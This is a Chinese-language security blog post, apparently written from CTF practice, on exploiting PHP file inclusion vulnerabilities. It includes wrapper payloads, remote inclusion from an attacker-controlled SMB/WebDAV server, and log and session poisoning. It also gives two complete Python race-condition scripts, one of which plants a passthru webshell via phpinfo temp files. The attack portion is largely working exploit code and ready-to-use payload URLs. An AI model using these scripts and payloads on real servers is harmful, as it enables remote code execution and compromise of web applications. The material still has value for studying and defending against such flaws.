不管平时在打ctf或者代码审计的过程中,文件包含都是很薄弱、很常见的点,一般的开发人员可能觉得文件包含没有什么大问题,低估其造成的危害,我一个ctf爱好者也是这么认为的,直到最近打了几场ctf都出现了文件包含的点,然后被暴虐,才发现文件包含的利用面很广,所以就此打算写篇文章来记录下自己的学习过程。
PHP里面共有4个与文件包含相关的函数,分别是:
include require include_once require_once
查看相关函数的文档了解他们的差异
通过function.include.php可以看到文件包含函数可以使用封装协议。
支持的协议和封装协议 //官方文档
这里重点讲下常用的伪协议:
file://
file:///path/to/file.ext
在文件包含中其实也就是等价/path/to/file.ext
../
或/
开头的时候就可以用这个方法来绕过了。php://
(1)php://input
是个可以访问请求的原始数据的只读流
(2)php://filter
是一种元封装器, 设计用于数据流打开时的筛选过滤应用
常见用法:
可用过滤器列表 这里面列出了各种过滤器
(1) readfile("http://www.example.com"); 等价于 readfile("php://filter/resource=http://www.example.com"); (2) 读取链 file_get_contents("php://filter/read=convert.base64-encode/resource=test.php"); 写入链 file_put_contents("php://filter/write=convert.base64-decode/resource=[file]","base64"); 这个点在ctf有时候会很有用,可以绕过一些waf
(3)php://input
可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。
有自身局限性:
allow_url_fopen :off/on (默认配置on) allow_url_include:on (默认配置off)
后面那些可以看@Thinking 师傅整理的一个小手册。
下面通过构设场景然后解决问题的方式来进行分析。
假设当前页面存在一个任意文件包含漏洞(无后缀限制),代码如下:
<?php $file = $_GET['file']; include($file); ?>
payload:php://filter/read=convert.base64-encode/resource=filename
测试:
http://127.0.0.1:8888/ctf/cli/3.php?file=php://filter/read=convert.base64-encode/resource=./3.php
过程: 读取文件内容->base64编码->php不解析->显示base64编码
因为当前我们可以包含文件,所以只要我们能控制任意文件内容即可。
allow_url_include
默认环境在php5.2之后默认为off,所以说这个用法比较鸡肋,但是平时在看phpinfo的时候可以查看下这个是否开启。
关于这个参数的文档介绍: allow_url_include
allow_url_fopen
默认开启,所以我们可以通过利用远程url或者php://
协议直接getshell
1.http://127.0.0.1:8888/ctf/cli/3.php?file=http://remote.com/shell.txt
2.http://127.0.0.1:8888/ctf/cli/3.php?file=php://input
PostData:<?php phpinfo();?>
这里需要注意一点的是浏览器在传输过程会对一些特殊字符进行url编码,所以我们可以利用burp绕过这一步
或者直接curl
命令
curl -v "http://127.0.0.1:8888/ctf/cli/3.php?file=php://input" -d "<?php phpinfo();?>"
3.http://10.211.55.20:8081/test.php?file=data://text/plain;base64,PD9waHAgIHBocGluZm8oKTs/Pg==
通过data://
协议可以直接解析base64编码
就算即使 allow_url_include
and allow_url_fopen
均为off 在window主机环境下仍然可以进行远程文件执行
1:什么是UNC路径?UNC路径就是类似\softer这样的形式的网络路径。
2:UNC为网络(主要指局域网)上资源的完整Windows 2000名称。 注意主要这个字,所以说也支持远程网络
格式:\servername\sharename,其中servername是服务器名。sharename是共享资源的名称。
目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。
2:unc共享就是指网络硬盘的共享
因为 allow_url_include
为off的时候,php不会加载远程的http 或者 ftp的url,但是没有禁止SMB的URL加载。
因为SMB share服务器需要用UNC路径去访问,而Linux没有UNC路径所以这种方法只能在window下利用
利用过程:
阿里云的ubuntu机器上安装samba服务。(失败,阿里云默认关闭了445等高危端口)
依次执行以下命令:
apt-get install samba
mkdir /var/www/html/pub/
chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/
echo > /etc/samba/smb.conf
vim /etc/samba/smb.conf
写入如下内容:
[global] workgroup = WORKGROUP server string = Samba Server %v netbios name = indishell-lab security = user map to guest = bad user name resolve order = bcast host dns proxy = no bind interfaces only = yes [ethan] path = /var/www/html/pub writable = no guest ok = yes guest only = yes read only = yes directory mode = 0555 force user = nobody
然后重新启动SAMBA服务器
service smbd restart
然后可以很遗憾告诉你
但是445的确内部开启了,后面就算各种调安全策略也没用,可以看下这篇文章win7使用阿里云samba共享
所以说要找台能开启445的机子,按照上面的步骤做就行了,(腾讯云maybe可以,但是我安装过程出了问题)
然后
http://127.0.0.1:8081/test.php?file=//47.101.46.179/1.php
就可以远程RCE了。
下面第二种方法能很好解决445端口被封杀(一是目标服务器封杀 二是自己的vps封杀)的问题。
借用P神的方法快速搭建webdav服务器
一键启动一个webdav服务器
docker run -v /root/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav
然后把php文件放到/root/webdav/data里就行了
接着直接访问:
http://127.0.0.1:8081/test.php?file=//47.101.46.179//webdav/1.php
可以看到直接远程包含成功了。
这种利用方式其实在实战中是比较鸡肋的,因为默认的权限是不允许访问的,但是可以去尝试下。
不过如果主机是window系统,像phpstudy那种一键安装的都具有高权限,完全可以通过包含一些文件来getshell。
1.Linux 系统下
一般在Linux系统下通过apt-get install apache2
默认安装的apache 或者nginx都没有权限访问这些文件
关于linux权限问题可以参考鸟哥文章:第六章、Linux 的文件权限与目录配置
root@VM-221-25-ubuntu:/var/log# ls -ll /var/log/apache2/access.log -rw-r----- 1 root adm 0 May 18 06:25 /var/log/apache2/access.log root@VM-221-25-ubuntu:/var/log# ls -ll /var/log/nginx/access.log -rw-r----- 1 www-data adm 0 May 18 06:25 /var/log/nginx/access.log root@VM-221-25-ubuntu:/var/log# ls -ll /var/log/ drwxr-xr-x 2 root adm 4096 May 18 06:25 nginx
这里以/var/log/apache2/access.log
为例子,文件拥有者为root,所属群组为adm,root用户可以rw-
,同群组用户r—
只可以读。
而我们的php和apache2进程的user一般是www-data
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
root@VM-221-25-ubuntu:/var/log# groups www-data #查看用户所属的组
www-data : www-data
所以说没办法访问到这些文件达到RCE目的,但是有时候有些管理员会因为方便等问题导致权限配置错误。
其实也可以fuzz下文件读取漏洞路径收集
1.包含日志文件
通过burp访问:
1.http://127.0.0.1:8081/test.php?file=<?php phpinfo();?>
2.http://127.0.0.1:8081/test.php?file=../../../../../../../var/log/apache2/access.log
2.包含系统环境
linux(FreeBSD是没有这个的)下的/proc/self/environ 会获取用户的UA
VM-221-25-ubuntu:/var/log# ls -al /proc/self/environ -r-------- 1 root root 0 Jun 30 09:51 /proc/self/environ
这个其实有点意思,应该实战可能会出现的情景,个人认为应该是httpd或者php的权限太高导致的。
Exploiting LFI to RCE /proc/self/environ with burpsuite:https://www.youtube.com/watch?v=dlh0ogYy9ys
2.window系统下
这个实战性还是很强的,所以这里我进行演示下,在默认phpstudy安装环境下如何实现getshell
默认安装的时候是没有开启日志记录功能的也就是不存在 access.log
但是默认存在php error log
C:\phpStudy\Apache\logs\error.log
是存在的
不能在浏览器上直接访问,因为浏览器会自动urlencode编码特殊字符,所以利用的时候要用burp去操作
1.访问不存在带有payload的文件
然后查看下
发现成功写入
http://127.0.0.1:8081/test.php?file=C:\phpStudy\Apache\logs\error.log
然后直接getshell
<?php $file = $_GET['file']; include($file); ?>
还是这种情况(任意文件可控包含),这个时候如果可以上传文件比如图片之类的,直接包含起来就行了。
http://127.0.0.1:8081/test.php?file=shell.png
<?php $file = $_GET['file'].".php"; //限制只能包含php后缀的文件。 include($file); ?>
因为上传点只允许上传.jpg .png .gif
后缀的图片,比如我们上传了 test.jpg
拼接之后就是: test.jpg.php
这个文件肯定不存在。
这个时候我们就可以利用伪协议来进行绕过。
我们构造一个zip压缩包:
就是写一个shell.php -> zip压缩得到压缩包,然后改名为shell.png,去上传
1.利用zip://
协议
zip://与phar://的使用类似,但是需要绝对路径, zip文件后面要跟%23加zip文件里的文件
http://127.0.0.1:8081/test2.php?file=zip://C:/phpStudy/WWW/shell.png%23shell
2.利用phar://
协议
这个也可以用前面的那个压缩包,不过不需要#去分开压缩包里面的内容了,phar://
协议是根据文件头去判断是不是压缩文件的,所以shell.png不会影响正常解析出这个压缩包。(这个在CTF比赛中很常见)
http://127.0.0.1:8081/test2.php?file=phar://shell.png/shell
- %00截断
/etc/passwd%00
(需要 magic_quotes_gpc=off,PHP小于5.3.4有效)- %00截断目录遍历:
/var/www/%00
(需要 magic_quotes_gpc=off,unix文件系统,比如FreeBSD,OpenBSD,NetBSD,Solaris)- 路径长度截断:
/etc/passwd/././././././.[…]/./././././.
(php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256)- 点号截断:
/boot.ini/………[…]…………
(php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256)
这个是我想重点去研究和分析的tips,因为最近在打比赛中有这个思路,但是却遇到了一些问题。
首先我们可以了解下:
phpinfo(); 可以给我们提供什么信息。 参考下这篇文章: phpinfo中值得注意的信息
开头的内容能给我门提供很多信息(我画的红框里面)
常用:
system info 详细的操作系统信息 确定window or linux
Registered PHP Streams and filters 注册的php过滤器和流协议
extension_dir php扩展的路径
short_open_tag <?= 和 <? echo 等价
disable_function 禁用函数
open_basedir 将用户可操作的文件限制在某目录下
SERVER_ADDR 真实ip
DOCUMENT_ROOT web根目录
_FILES["file"] 可以获取临时文件名字和路径
session 可以查看session的相关配置
理论来说是通杀的,但是我在打国赛的时候用脚本一直不成功,debug之后确定是利用条件比较苛刻,也可能是服务器处理性能比较好,没办法竞争成功。(后面我才发现原来是脚本多了个%00,下面的脚本我自己测试成功的了)
实战案例: 自如网某业务文件包含导致命令执行(LFI + PHPINFO getshell 实例
原理非常简单:
我们构造一个上传表单的时候,php也会生成一个对应的临时文件,这个文件的相关内容可以在phpinfo()的_FILE["file"]
查看到,但是临时文件很快就会被删除,所以我们赶在临时文件被删除之前,包含临时文件就可以getshell了。
php处理流程timeline如下:
相关脚本(我自己修改了一下):
#!/usr/bin/python import sys import threading import socket def setup(host, port): TAG="Security Test" PAYLOAD="""%s\r <?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>\r""" % TAG REQ1_DATA="""-----------------------------7dbff1ded0714\r Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r Content-Type: text/plain\r \r %s -----------------------------7dbff1ded0714--\r""" % PAYLOAD padding="A" * 5000 # 这里需要修改为phpinfo.php的地址 REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r HTTP_ACCEPT: """ + padding + """\r HTTP_USER_AGENT: """+padding+"""\r HTTP_ACCEPT_LANGUAGE: """+padding+"""\r HTTP_PRAGMA: """+padding+"""\r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r Content-Length: %s\r Host: %s\r \r %s""" %(len(REQ1_DATA),host,REQ1_DATA) #modify this to suit the LFI script LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r User-Agent: Mozilla/4.0\r Proxy-Connection: Keep-Alive\r Host: %s\r \r \r """ return (REQ1, TAG, LFIREQ) def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s2.connect((host, port)) s.send(phpinforeq) d = "" while len(d) < offset: d += s.recv(offset) try: i = d.find("[tmp_name] => ") fn = d[i+17:i+31] # print fn except ValueError: return None s2.send(lfireq % (fn, host)) # print lfireq % (fn, host) #debug调试结果 d = s2.recv(4096) # print d #查看回显是否成功 s.close() s2.close() if d.find(tag) != -1: return fn counter=0 class ThreadWorker(threading.Thread): def __init__(self, e, l, m, *args): threading.Thread.__init__(self) self.event = e self.lock = l self.maxattempts = m self.args = args def run(self): global counter while not self.event.is_set(): with self.lock: if counter >= self.maxattempts: return counter+=1 try: x = phpInfoLFI(*self.args) if self.event.is_set(): break if x: print "\nGot it! Shell created in /tmp/g" self.event.set() except socket.error: return def getOffset(host, port, phpinforeq): """Gets offset of tmp_name in the php output""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send(phpinforeq) d = "" while True: i = s.recv(4096) d+=i if i == "": break # detect the final chunk if i.endswith("0\r\n\r\n"): break s.close() i = d.find("[tmp_name] => ") if i == -1: raise ValueError("No php tmp_name in phpinfo output") print "found %s at %i" % (d[i:i+10],i) # padded up a bit return i+256 def main(): print "LFI With PHPInfo()" print "-=" * 30 if len(sys.argv) < 2: print "Usage: %s host [port] [threads]" % sys.argv[0] sys.exit(1) try: host = socket.gethostbyname(sys.argv[1]) except socket.error, e: print "Error with hostname %s: %s" % (sys.argv[1], e) sys.exit(1) port=80 try: port = int(sys.argv[2]) except IndexError: pass except ValueError, e: print "Error with port %d: %s" % (sys.argv[2], e) sys.exit(1) poolsz=10 try: poolsz = int(sys.argv[3]) except IndexError: pass except ValueError, e: print "Error with poolsz %d: %s" % (sys.argv[3], e) sys.exit(1) print "Getting initial offset...", reqphp, tag, reqlfi = setup(host, port) offset = getOffset(host, port, reqphp) sys.stdout.flush() maxattempts = 1000 e = threading.Event() l = threading.Lock() print "Spawning worker pool (%d)..." % poolsz sys.stdout.flush() tp = [] for i in range(0,poolsz): tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag)) for t in tp: t.start() try: while not e.wait(1): if e.is_set(): break with l: sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts)) sys.stdout.flush() if counter >= maxattempts: break print if e.is_set(): print "Woot! \m/" else: print ":(" except KeyboardInterrupt: print "\nTelling threads to shutdown..." e.set() print "Shuttin' down..." for t in tp: t.join() if __name__=="__main__": main()
当前环境:
http://127.0.0.1:8233/lfi.php?file=../../../etc/passwd
文件包含
http://127.0.0.1:8233/phpinfo.php
然后直接按照上面提示修改脚本
主要是修改
这个脚本的判断条件是Tag
所以不能少,可以去掉一些debug的注释查看程序执行过程
然后执行下py
python lfi.py 127.0.0.1 8233 100
可以看到的确成功了。
包含session文件,我们需要了解
session.upload_progress
session.save_path /var/lib/php/sessions /var/lib/php/sessions //通过phpinfo获取session存储路径
这些基本知识
官方文档如下: Session 上传进度
里面有句关键的话:
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得
可以发现value的值可以控制而且写入到了session文件里面,这就是导致漏洞利用的原因。
php默认配置说明:
默认开启session.upload_progress.enabled
and session.upload_progress.cleanup
Cleanup the progress information as soon as all POST data has been read (i.e. upload completed). Defaults to 1, enabled. 一旦POST请求被读取完成,session内容就会被清空
攻击流程:
1.构造上传表单(参考官方表单)
<form action="http://127.0.0.1:8233" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();?>" /> <input type="file" name="file1" /> <input type="file" name="file2" /> <input type="submit" /> </form>
没有上传时的session文件:
burp上传后:
可以看到生成相应文件名字的session,但是因为session.upload_progress.cleanup
开启,读取完post内容时,session内容就会清空,所以我们需要用到条件竞争,一直发送请求,然后一直包含。
2.使用burp进行条件竞争
1.根据session构造路径
/var/lib/php/sessions/sess_PHPSESSID
也就是:
/var/lib/php/sessions/sess_07hm6245ia5h1fjcoqfmmq2vok
构造包含路径:
http://127.0.0.1:8233/lfi.php?file=/var/lib/php/sessions/sess_07hm6245ia5h1fjcoqfmmq2vok
然后burp进行爆破
payload设置NULL payloads
请求包含我设置5000次,上传我设置1000次(这样可以一边持续请求,然后一边生成)
可以看到成功实现了包含
其实用burp还是比较麻烦的,这里可以用@wonderkun师傅的一个脚本
#!coding:utf-8 import requests import time import threading host = 'http://127.0.0.1:8233/' PHPSESSID = 'vrhtvjd4j1sd88onr92fm9t2gt' def creatSession(): while True: files = { "upload" : ("tmp.jpg", open("/etc/passwd", "rb")) } data = {"PHP_SESSION_UPLOAD_PROGRESS" : "<?php echo md5('1');?>" } headers = {'Cookie':'PHPSESSID=' + PHPSESSID} r = requests.post(host,files = files,headers = headers,data=data) fileName = "/var/lib/php/sessions/sess_"+PHPSESSID if __name__ == '__main__': url = "{}/lfi.php?file={}".format(host,fileName) headers = {'Cookie':'PHPSESSID=' + PHPSESSID} t = threading.Thread(target=creatSession,args=()) t.setDaemon(True) t.start() while True: res = requests.get(url,headers=headers) if "c4ca4238a0b923820dcc509a6f75849b" in res.content: print("[*] Get shell success.") break else: print("[-] retry.")
关于文件包含的我遇到的常见利用基本都总结和提供相应的脚本在上面了,如果师傅们有其他玩法欢迎与我一起交流。